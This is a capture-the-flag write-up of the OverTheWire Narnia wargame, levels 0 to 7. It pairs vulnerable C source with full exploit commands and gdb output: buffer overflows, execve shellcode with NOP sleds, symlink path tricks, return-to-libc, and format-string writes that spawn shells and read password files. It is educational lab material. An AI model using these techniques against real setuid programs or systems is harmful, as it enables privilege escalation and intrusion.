Narnia Writeup

Narnia is an OverTheWire CTF game that dives into the fundamentals of C and x86 exploitation techniques.

If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many of the gdb techniques I use in this post that I don't explain.

These write-ups are mainly intended as an education resource and to be followed alongside doing the exercises yourself. The levels somewhat build upon each other, so make sure you completely understand the exploit before moving on and, if possible, exhaust yourself trying them first before reading the explanation. Also, all code posted is under the GNU GPLv2 license.

If you have any questions, please let me know in the comments or hit me up on twitter @cplusperks.

With that said, let's get started.


Table of Contents


Level 0:

int main(){  
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

For the bootstrap level we are given a binary that introduces a simple buffer overflow. In particular we have unprotected scanf call that does not have a sanity check on the user input we supply. The point is to somehow change that content stored in val (0x41 = 'A') to the hex value 0xdeadbeef. We know that our buffer is declared as buf[20], so lets see what we need to overwrite it:

narnia0@melinda:/narnia$ (python -c 'print "C"*19') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCC  
val: 0x41414141  
WAY OFF!!!!  
narnia0@melinda:/narnia$ (python -c 'print "C"*20') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCC  
val: 0x41414100  
WAY OFF!!!!  
narnia0@melinda:/narnia$ (python -c 'print "C"*24') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCCCCC  
val: 0x43434343  
WAY OFF!!!!  

As suspected, it seems that we can begin to overwrite val by supplying 20 chars + 4 bytes. Remembering most systems are little endian, let us try supplying 0xdeadbeef and see if that works:

narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�  
val: 0xdeadbeef  

Strange, even though the value is changed we still don't get a shell. This might be due to the fact that our shell is started, but exists immediately. To overcome this, there is a trick that by executing cat right afterwards, we can 'trap' the shell in a state where we can execute commands (I think this is because printf flushes stdin in such a way that EOF is sent to shell causing it to exit and cat will work around that):

narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0;  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�  
val: 0xdeadbeef  
whoami  
narnia1  
cat /etc/narnia_pass/narnia1  
**** Password Removed ****

NOTE: It seems that there is a problem with the terminal not being able to display the hex characters properly. Thus another way to solve this is that you need to 'pad' the string at the end with \x90 (A Null-Op) and using that via copy-paste (not redirection) will actually drop you into a proper shell. Weird. If you know why this might be, let me know. Anyways moving on.


Level 1

int main(){  
        int (*ret)();

        if(getenv("EGG")==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        ret = getenv("EGG");
        ret();

        return 0;
}

The objective of this level is to execute a custom payload, preferably one that allows us read the password for the next level.

A little bit of extra information, the environ variable in a binary stores environment variables in the memory space of the executing binary, and a pointer to this pointer can be found at the beginning of execution by examining 16 bytes from $ebp after it has been initialized (remember *((char **) $ebp + 0x10 if examining in gdb or simply *environ with symbols)

However since the program is loading our environment variable directly by calling getenv, this information won't be necessary just yet.

A common mistake would be that the program expects you to set a shell command to be executed at EGG, i.e set EGG=/bin/sh. However what actually needs to happen is whatever is stored at EGG is going to be executed as instructions, so we need to write position independent 'shellcode'.

The concept of shellcode is outside the scope of this writeup, but I would suggest going over the post at http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html which will give you a good start (and working shellcode)!

Once we do that, with our spawned shell we can read the password:

narnia1@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')  
narnia1@melinda:/narnia$ ./narnia1  
Trying to execute EGG!  
$ whoami
narnia2  
$ cat /etc/narnia_pass/narnia2
**** Password Removed ****

Level 2

int main(int argc, char * argv[]){  
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

Using what we've learned in the last few lessons, the exploit here is to use a stack-based overflow to gain control of EIP. On x86 systems, EIP (Extended Instruction Pointer) is the register that points to the location in memory where the next instruction to be executed exists.

However, when a context-switch is triggered with a function call, EIP is pushed onto the stack in order to preserve it's value after the function returns. With a buffer overflow, we can write past the buffer on the stack into the memory space of EIP, thus controlling where our control of our program execution when it returns.

We know the buffer size is 128, so lets try figuring the offset for overwrite. The trick is to get the program to segfault by jumping to a space in memory that is unmapped - the location being our input - and find where that tipping point is:

narnia2@melinda:/narnia$ gdb -q narnia2  
Reading symbols from narnia2...(no debugging symbols found)...done.  
(gdb) r $(python -c 'print "A"*128')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*128')  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[Inferior 1 (process 21393) exited normally]  
(gdb) r $(python -c 'print "A"*140')

Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')

Program received signal SIGSEGV, Segmentation fault.  
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6

(gdb) r $(python -c 'print "A"*144')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c 'print "A"*144')

Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  

From this we can gather that after filling the buffer with 140 characters, the next 4 bytes are what we write to EIP. What should we return to? Well we do have 140 bytes of free space at the location of our buffer, let's drop into GDB and find out where that starts:

(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')

Program received signal SIGSEGV, Segmentation fault.  
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6  
(gdb) x/20wx $esp
0xffffd650:    0x00000002  0xffffd6e4  0xffffd6f0  0xf7feacea  
..... ...
0xffffd830:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd840:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd850:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd860:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd870:    0x41414141  0x41414141  0x41414141  0x41414141  
(gdb)
0xffffd880:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd890:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd8a0:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd8b0:    0x41414141  0x44580041  0x45535f47  0x4f495353  
0xffffd8c0:    0x44495f4e  0x3137313d  0x00343235  0x4c454853  

So our buffer starts at 0xfffd830. Because of memory mapping differences between running a program in gdb and normally, the actual start and end will be slightly different, therefore lets pick a spot slightly later into our buffer to jump to.

For example, my shellcode is 25 bytes long which means that I could jump to anywhere 115 bytes before (140 - 25).

The last thing I need to do is fill the buffer with \x90 instead of A, which basically is a series of NOPs that will 'slide' us down to our payload, which is necessary since we wont know exactly where our payload address is. But as long as we land somewhere in the middle of our NOPs, we can reach it regardless.

Let's set our EIP to jump to 0xfffd850 which is comfortably in the middle of our buffer. With that, what we input to the program is:

(sizeof(buffer) - sizeof(shellcode) * "\x90") + shellcode + NOP_Sled_Address

Let's try that out:

narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')  
$ whoami
narnia3  
$ cat /etc/narnia_pass/narnia3
**** Password Removed ****

Nice.


Level 3

int main(int argc, char **argv){

  int  ifd,  ofd;
  char ofile[16] = "/dev/null";
  char ifile[32];
  char buf[32];

  if(argc != 2){
          printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
          exit(-1);
  }

  /* open files */
  strcpy(ifile, argv[1]);
  if((ofd = open(ofile,O_RDWR)) < 0 ){
          printf("error opening %s\n", ofile);
          exit(-1);
  }
  if((ifd = open(ifile, O_RDONLY)) < 0 ){
          printf("error opening %s\n", ifile);
          exit(-1);
  }

  /* copy from file1 to file2 */
  read(ifd, buf, sizeof(buf)-1);
  write(ofd,buf, sizeof(buf)-1);
  printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

  /* close 'em */
  close(ifd);
  close(ofd);

  exit(1);
}

This is actually a pretty fun little program. Taking a user supplied string, it attempts to open the target file, read it, and the dump its contents into /dev/null (effectively doing nothing). Let's take a look at the assembly and see if we can find the addresses where our variables live:

narnia3@melinda:/narnia$ echo "perks" > /tmp/perks  
narnia3@melinda:/narnia$ gdb -q narnia3  
Reading symbols from narnia3...(no debugging symbols found)...done.  
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:  
   0x0804851d <+0>:    push   ebp
   0x0804851e <+1>:    mov    ebp,esp
   0x08048520 <+3>:    and    esp,0xfffffff0
..... ...
   0x0804858d <+112>:    lea    eax,[esp+0x58] *****  <-- ofile
   0x08048591 <+116>:    mov    DWORD PTR [esp],eax
   0x08048594 <+119>:    call   0x80483e0 <open@plt>
..... ...
   0x080485cc <+175>:    lea    eax,[esp+0x38]  ***** <-- ifile
   0x080485d0 <+179>:    mov    DWORD PTR [esp],eax
   0x080485d3 <+182>:    call   0x80483e0 <open@plt>
..... ...
   0x0804866a <+333>:    call   0x8048410 <close@plt>
   0x0804866f <+338>:    mov    DWORD PTR [esp],0x1
   0x08048676 <+345>:    call   0x80483d0 <exit@plt

# Set a breakpoint before program exit #

(gdb) r /tmp/perks
Starting program: /games/narnia/narnia3 /tmp/perks

(gdb) x/s $esp+0x38
0xffffd688:    "/tmp/perks"  
(gdb) x/s $esp+0x58
0xffffd6a8:    "/dev/null"  

The trick here is that we can exploit a buffer overflow into the stack variable ofile, causing the dump to happen at a location we wish that will preserve the write instead of discarding it. Then, by providing the input in as a symbolic link to the password file, we will be able to read the contents provided to us by this setuid binary.

One problem though is that the input we provide must also be a valid file (otherwise the open call will fail), while at the same time overflowing into a custom path. Luckily we know exactly the distance required (both from the source code and arithmetic of $esp+0x58 - $exp+0x38) which is 32 bytes. We just need to trick the program through clever path manipulation. This is easier to understand when shown, so try and follow along below (my comments are prefixed with a #):

narnia3@melinda:/narnia$ mkdir /tmp/ex3  
narnia3@melinda:/narnia$ cd /tmp/ex3  
narnia3@melinda:/tmp/ex3$ pwd  
/tmp/ex3  # Our path length is currently 8 bytes + 1 byte for trailing '/'
          # 32 - 9 - 1 byte again for trailing '/', 22 bytes left

narnia3@melinda:/tmp/ex3$ mkdir $(python -c 'print "A"*22')  
narnia3@melinda:/tmp/ex3$ cd AAAAAAAAAAAAAAAAAAAAAA/  
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$  
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ ln -s /etc/narnia_pass/narnia4 readthis  
narnia3@melinda:/tmp/ex3$ file /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis  
/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis: symbolic link to '/etc/narnia_pass/narnia4'

# '/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/' is 32 characters
# Therefore after the /, our input file becomes the target of the output
# which in this case is just 'readthis'. By executing in another directory
# the program, we can create another file called 'readthis' which 'narnia3' 
# will look for in the current directory and write to

narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ cd .. # Go up  
narnia3@melinda:/tmp/ex3$ touch readthis  
narnia3@melinda:/tmp/ex3$ chmod 777 readthis # Make sure it can write to it  
narnia3@melinda:/tmp/ex3$ /narnia/narnia3 /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis  
copied contents of /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis to a safer place... (readthis)  
narnia3@melinda:/tmp/ex3$ cat readthis  
**** Password Removed ****

That whole process may seem a little confusing, especially since there are two files named the same thing in different locations, but step through each step slowly and the reasoning should become apparent. On to the next!


Level 4

extern char **environ;

int main(int argc,char **argv){  
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}

This level is almost exactly the same as the exercise in Level 2, the only difference being more buffer space and an additional security feature that 0's out all the environment levels in memory (alternatively Level 2 could be solved by jumping to shellcode stored in an environment later -- more on that to come).

I leave this as an exercise to the reader. If you have gotten this far it should be trivial enough to complete (remember you have to play around the address jumping into a NOP sled due to shifts in memory mapping between gdb and normal execution of a program).


Level 5

int main(int argc, char **argv){  
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

Here we are encountering a new sort of vulnerability, one known as a format string attack.

Before proceeding further, check out this post over at CodeArcana that does a great overview on how this attack works and how it allows you to both read and write to arbitrary memory locations (Chapter 12 of Gray Hat Hacking: The Ethical Hacker's Handbook, 3rd Edition also has a great introduction to this).

From an initial overview we see that the program has finally opted to check the size of input before copying into the buffer, which means that our buffer overflow techniques we have been using are no help here.

Thankfully, the level gives you two very strong hints (saving us from a lot of gdb exploration) in allowing you to both see the memory address you want to overwrite, plus the output from the snprintf allowing you to calculate the offset you need.

However for the sake of ~ education ~ I will dive into the internals to give an example of how you might do this if you haven't been given the hints (in real programs you won't).

The first thing we need to do is to locate on the stack the positions of both our target (the i = 1), and the layout of our buffer relative to the stack.

Let's breakpoint right after the snprintf call because thats when the format attack happens, and I'll draw a map of what is happening in memory (look for annotations):

NOTE: These addresses are most likely to be different than yours, map them yourself accordingly, it should still follow the same principles

narnia5@melinda:/narnia$ gdb -q narnia5  
Reading symbols from narnia5...(no debugging symbols found)...done.  
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:  
   0x080484bd <+0>:    push   ebp
   0x080484be <+1>:    mov    ebp,esp
   0x080484c0 <+3>:    and    esp,0xfffffff0
   0x080484c3 <+6>:    sub    esp,0x60
   0x080484c6 <+9>:    mov    DWORD PTR [esp+0x5c],0x1 **** <-- i = 1
   0x080484ce <+17>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484d1 <+20>:    add    eax,0x4
   0x080484d4 <+23>:    mov    eax,DWORD PTR [eax]
   0x080484d6 <+25>:    mov    DWORD PTR [esp+0x8],eax  *** <-- argv[1]
   0x080484da <+29>:    mov    DWORD PTR [esp+0x4],0x40 *** <-- sizeof buffer
   0x080484e2 <+37>:    lea    eax,[esp+0x1c]          **** <-- Addr of buffer
   0x080484e6 <+41>:    mov    DWORD PTR [esp],eax
   0x080484e9 <+44>:    call   0x80483b0 <snprintf@plt>
   0x080484ee <+49>:    mov    BYTE PTR [esp+0x5b],0x0 ******* <-- BREAKPOINT
   ##########    OUR ARGS ABOVE ARE NOW RELATIVE TO $ESP (SEE ABOVE) ######
   0x080484f3 <+54>:    mov    DWORD PTR [esp],0x8048610
   0x080484fa <+61>:    call   0x8048350 <printf@plt>
   0x080484ff <+66>:    mov    eax,DWORD PTR [esp+0x5c]
   0x08048503 <+70>:    cmp    eax,0x1f4
   0x08048508 <+75>:    jne    0x8048522 <main+101>
   0x0804850a <+77>:    mov    DWORD PTR [esp],0x8048631
   0x08048511 <+84>:    call   0x8048360 <puts@plt>
   0x08048516 <+89>:    mov    DWORD PTR [esp],0x8048636
   0x0804851d <+96>:    call   0x8048370 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit  
(gdb) b *main+49
Breakpoint 1 at 0x80484ee  
(gdb) r AAAA
Starting program: /games/narnia/narnia5 AAAA

Breakpoint 1, 0x080484ee in main ()  
(gdb) x/24wx $esp
                   _ Addr of buffer
                  |           _ sizeof buffer                                                                                                               
                  |          |              _ Addr of argv[1]                                         
                  |          |             |
                  v          v             v
0xffffd660:    0xffffd67c  0x00000040  0xffffd8b2  0xf7eb75b6  
0xffffd670:    0xffffffff  0xffffd69e  0xf7e2fbf8  0x41414141 <- start of buffer  
0xffffd680:    0x00000000  0x00ca0000  0x00000001  0x08048319  
0xffffd690:    0xffffd89c  0x0000002f  0x08049858  0x080485d2  
0xffffd6a0:    0x00000002  0xffffd764  0xffffd770  0xf7e5610d  
0xffffd6b0:    0xf7fca3c4  0xf7ffd000  0x0804858b  0x00000001 <- target (i = 1)  
(gdb)

As you can see by the state of the stack, after the last argument, it takes 5 words to reach the beginning of our buffer (verify each argument by doing $esp + offset). Therefore we know our offset to be 5. We can verify this (if this step does not make sense, go back over how format attacks work):

narnia5@melinda:/narnia$ ./narnia5 AAAA%5\$x  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [AAAA41414141] (12)  
i = 1 (0xffffd6dc)  
narnia5@melinda:/narnia$  

Great. Looking back at our map of the stack, we can see the address of where our target is located at 0xffffd6bc (This is different than that given to us by the hint, remember gdb maps differently). For now, we will use the address provided by the hint, but to figure out the actual address make sure you pay attention to the use of env -i in Debugging an Exploit of the CodeArcana post.

Now the tricky part is, when we increase the size of our argv[1], it makes sense that it shifts the position of the rest of the stack accordingly, and we have to compensate for that by recalculating where our target is (the hint does this for us, but the process is exactly the same, just pay attention to the offset which it is being stored at on $esp).

Anyways, the next bit is to attempt to overwrite the target address with out value. We want to change it to 500, which is hex is represented as 0x000001f4 (whole word). The following chart from Gray Hat Hacking: The Ethical Hacker's Handbook summarizes a sort of cheatsheet to doing this (although you should still read the explanations)

Format String Attack Table

Our HOB = 0x0000 and LOB = 0x01f4. Since our payload fits entirely in the LOB (HOB is essentially empty) we actually don't have to use the formula and can just write directly using %n (the reasoning is explained in the post and resources).

Remember %n write the amount of bytes we have seen, and providing the target address already gave us 4 bytes. 500 - 4 = 496 bytes we need to pad to write 500 to the target, lets give that a go:

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xdc\xd6\xff\xff"')%.496x%5\$n  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)  
i = 1 (0xffffd6cc)  
Segmentation fault  

What happened? Looking closely at the hint should give you a clue. Remember, when you alter the input you shift the state of the stack. It looks like we did that, causing the location to move from 0xffffd6dc to 0xffffd6cc.

Changing it to the proper target address will spawn you a shell. To do with without the hint is unfortunately difficult. You could try brute-forcing around the address with some hints from gdb to help you out (very tedious), but you should eventually get it (in this case it was 0x10 away from the original). If anyone has a better way let me know! (Update: The writeup of the last exercise on Level 8 shows how to do this somewhat systematically).

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$x  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)  
i = 1 (0xffffd6cc)  
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$n  
Change i's value from 1 -> 500. GOOD  
$ whoami
narnia6  
$ cat /etc/narnia_pass/narnia6
**** Password Removed ****

Success! This is definitely a tricky concept to get your head around so do read more on the technique if some things are a little fuzzy.


Level 6

// tired of fixing values...
// - morla
unsigned long get_sp(void) {  
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){  
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        fp(b1);

        exit(1);
} 

Coming back to more buffer overflow vulnerabilities, we can exploit a particular flavor of attack called a return-to-libc, although strictly we are not overwriting the return address but rather then the call address. In essence what this means is that instead of relying on loading our own shellcode directly, we will instead abuse the standard library calls within the programs own memory in order to gain an advantage (in this case a shell).

This is important because if we take a look at the source code, we see the environ and argv variables being 0'd out, effectively giving us no place to store our shell code (two buffer sizes of [8] does not provide enough space for storage + ability to hit a NOP sled).

Instead, lets look at the call fp(b1) and see what is happening. It seems that running the program with two arguments copies both to a buffer, and then calls fp on the first argument, which is assigned to the address of puts. The result is printing b1 to the screen. Examining the assembly reveals that b2 actually comes before b1 in memory, and that luckily for us the address of fp follows the end of b1, giving us a shot at rewriting it:

..... ...
   0x08048690 <+311>:    mov    ebx,eax
   0x08048692 <+313>:    call   0x804854d <get_sp>
   0x08048697 <+318>:    cmp    ebx,eax
   0x08048699 <+320>:    jne    0x80486a7 <main+334>
   0x0804869b <+322>:    mov    DWORD PTR [esp],0xffffffff
   0x080486a2 <+329>:    call   0x8048410 <exit@plt>
   0x080486a7 <+334>:    lea    eax,[esp+0x20]
   0x080486ab <+338>:    mov    DWORD PTR [esp],eax
   0x080486ae <+341>:    mov    eax,DWORD PTR [esp+0x28] **** <-- Call to 'fp'
   0x080486b2 <+345>:    call   eax
   0x080486b4 <+347>:    mov    DWORD PTR [esp],0x1
=> 0x080486bb <+354>:    call   0x8048410 <exit@plt>
End of assembler dump.

(gdb) x/wx $esp+0x28
0xffffd6b8:    0x080483f0  # Address of 'fp' to overwrite 

(gdb) b *main+354  # So we can examine stack before we exit
(gdb) r AAAA BBBB
Starting program: /games/narnia/narnia6 AAAA BBBB  
AAAA

Breakpoint 1, 0x080486bb in main ()  
(gdb) x/24wx $esp
0xffffd690:    0x00000001  0xffffd8b1  0x00000021  0x08048712  
                                            _ b2                                                             
                                           |
                                           v
0xffffd6a0:    0x00000003  0xffffd764  0x42424242  0xf7e56100  
                     _ b1                   _ fp
                    |                      |
                    v                      v
0xffffd6b0:    0x41414141  0xf7ffd000  0x080483f0  0x00000003  
0xffffd6c0:    0x080486c0  0xf7fca000  0x00000000  0xf7e3ca63  
0xffffd6d0:    0x00000003  0xffffd764  0xffffd774  0xf7feacea  
0xffffd6e0:    0x00000003  0xffffd764  0xffffd704  0x08049978

(gdb) r AAAACCCC BBBB
Starting program: /games/narnia/narnia6 AAAACCCC BBBB

Program received signal SIGSEGV, Segmentation fault.  
0x08048301 in ?? ()  

So we know we can overflow and write data to the address of fp. The question is to what?

For one, fp(b1) expects a single char * argument. This is very similar to the system command, which executes in shell a target string. So all we need to do is find the location of system, overflow fp to point to that, and ensure b1 is an executable string, such as /bin/sh. But first, finding system is as easy as firing up gdb:

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62cd0 <system>

With that, there are many ways to do this, You can either be clever with what you input to b1, or use b2 to actually oveflow back into b1 again. I'll demonstrate both:

# Overflow
narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "A"*8 + "\xd0\x2c\xe6\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')  
$ whoami
narnia7

# Abuse ; for 'system' call
narnia6@melinda:/narnia$ ./narnia6 "/bin/sh;"$(python -c 'print "\xd0\x2c\xe6\xf7"') BBBB  
$ whoami
narnia7  
$ cat /etc/narnia_pass/narnia7
**** Password Removed ****

Almost there! Just 2 more levels to go.


Level 7

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();  
int hackedfunction();

int vuln(const char *format){  
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){  
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){  
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){  
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

It seems like there is a lot going on in this program, but a closer look reveals that we are trying our hand at a format string attack again.
Only this time, instead of writing a static value to a target address, we are attempting to replace the address at ptrf from goodfunction() to hackedfunction(). Luckily we are given most of the information:

narnia7@melinda:/narnia$ ./narnia7 perks  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd63c)  
I guess you want to come to the hackedfunction...  
Welcome to the goodfunction, but i said the Hackedfunction.  

The only thing we are missing is the offset from the stack pointer to the start of our buffer, and we are not given a print statement to see this visually. However if you recall from the previous level, we can use gdb to figure this out:

(gdb) disas vuln  # this code is not in main
Dump of assembler code for function vuln:  
   0x080485cd <+0>:    push   ebp
   0x080485ce <+1>:    mov    ebp,esp
..... ...
   0x0804865e <+145>:    mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048668 <+155>:    mov    eax,DWORD PTR [ebp+0x8]
   0x0804866b <+158>:    mov    DWORD PTR [esp+0x8],eax *** <- Addr of format
   0x0804866f <+162>:    mov    DWORD PTR [esp+0x4],0x80 ** <- sizeof buffer
   0x08048677 <+170>:    lea    eax,[ebp-0x88]
   0x0804867d <+176>:    mov    DWORD PTR [esp],eax ******* <- Addr of bufer
   0x08048680 <+179>:    call   0x80484c0 <snprintf@plt>
   0x08048685 <+184>:    mov    eax,DWORD PTR [ebp-0x8c]
=> 0x0804868b <+190>:    call   eax
(gdb) b *vuln+190
Breakpoint 1 at 0x804868b  
(gdb) r AAAA
Starting program: /games/narnia/narnia7 AAAA  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)  
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x0804868b in vuln ()  
(gdb) x/24wx $esp 
# 0xfffd8b1 is last arg
0xffffd600:    0xffffd620  0x00000080  0xffffd8b1  0x08048238  
0xffffd610:    0xffffd678  0xf7ffda94  0x00000000  0x080486e0  
0xffffd620:    0x41414141  0x00000000  0x00000000  0x00000000  
0xffffd630:    0x00000000  0x00000000  0x00000000  0x00000000  
0xffffd640:    0x00000000  0x00000000  0x00000000  0x00000000  
0xffffd650:    0x00000000  0x00000000  0x00000000  0x00000000

We see its 6 words between our last argument until the start of our buffer, giving us our offset.

Also since the last level, I learned that there was an even easier way to figure out the offset without gdb and that is by using the tool ltrace which will actually show you the arguments and return of library function calls, letting us see the result of the snprintf:

narnia7@melinda:/narnia$ ltrace ./narnia7 AAAA%x%x%x%x%x%x  
__libc_start_main(0x804868f, 2, 0xffffd774, 0x8048740 <unfinished ...>  
memset(0xffffd630, '\0', 128)                                                                                 = 0xffffd630  
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0  
)                                                                    = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706

)                                                                = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd62cbefore : ptrf() = 0x80486e0 (0xffffd62c)  
)                                                  = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...  
)                                                                   = 50
sleep(2)                                                                                                      = 0  
snprintf("AAAA8048238ffffd688f7ffda9408048"..., 128, "AAAA%x%x%x%x%x%x", 0x8048238, 0xffffd688, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 43  
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..  
)                                                                   = 61
fflush(0xf7fcaac0)                                                                                            = 0  
exit(0 <no return ...>  
+++ exited (status 0) +++

Now that we have the offset, crafting our payload should be as easy as following the table here and making sure we adjust for stack shifts (remember to escape $, e.g: %6\$hn):

narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x3e\xd6\xff\xff\x3c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c) # Need to adjust  
I guess you want to come to the hackedfunction...  
Welcome to the goodfunction, but i said the Hackedfunction..

# Adjusted
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x1e\xd6\xff\xff\x1c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn  
goodfunction() = 0x80486e0  
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd61c)  
I guess you want to come to the hackedfunction...  
Way to go!!!!$ whoami  
narnia8  
$ cat /etc/narnia_pass/narnia8
**** Password Removed ****

Sweet! Next up, the final boss.


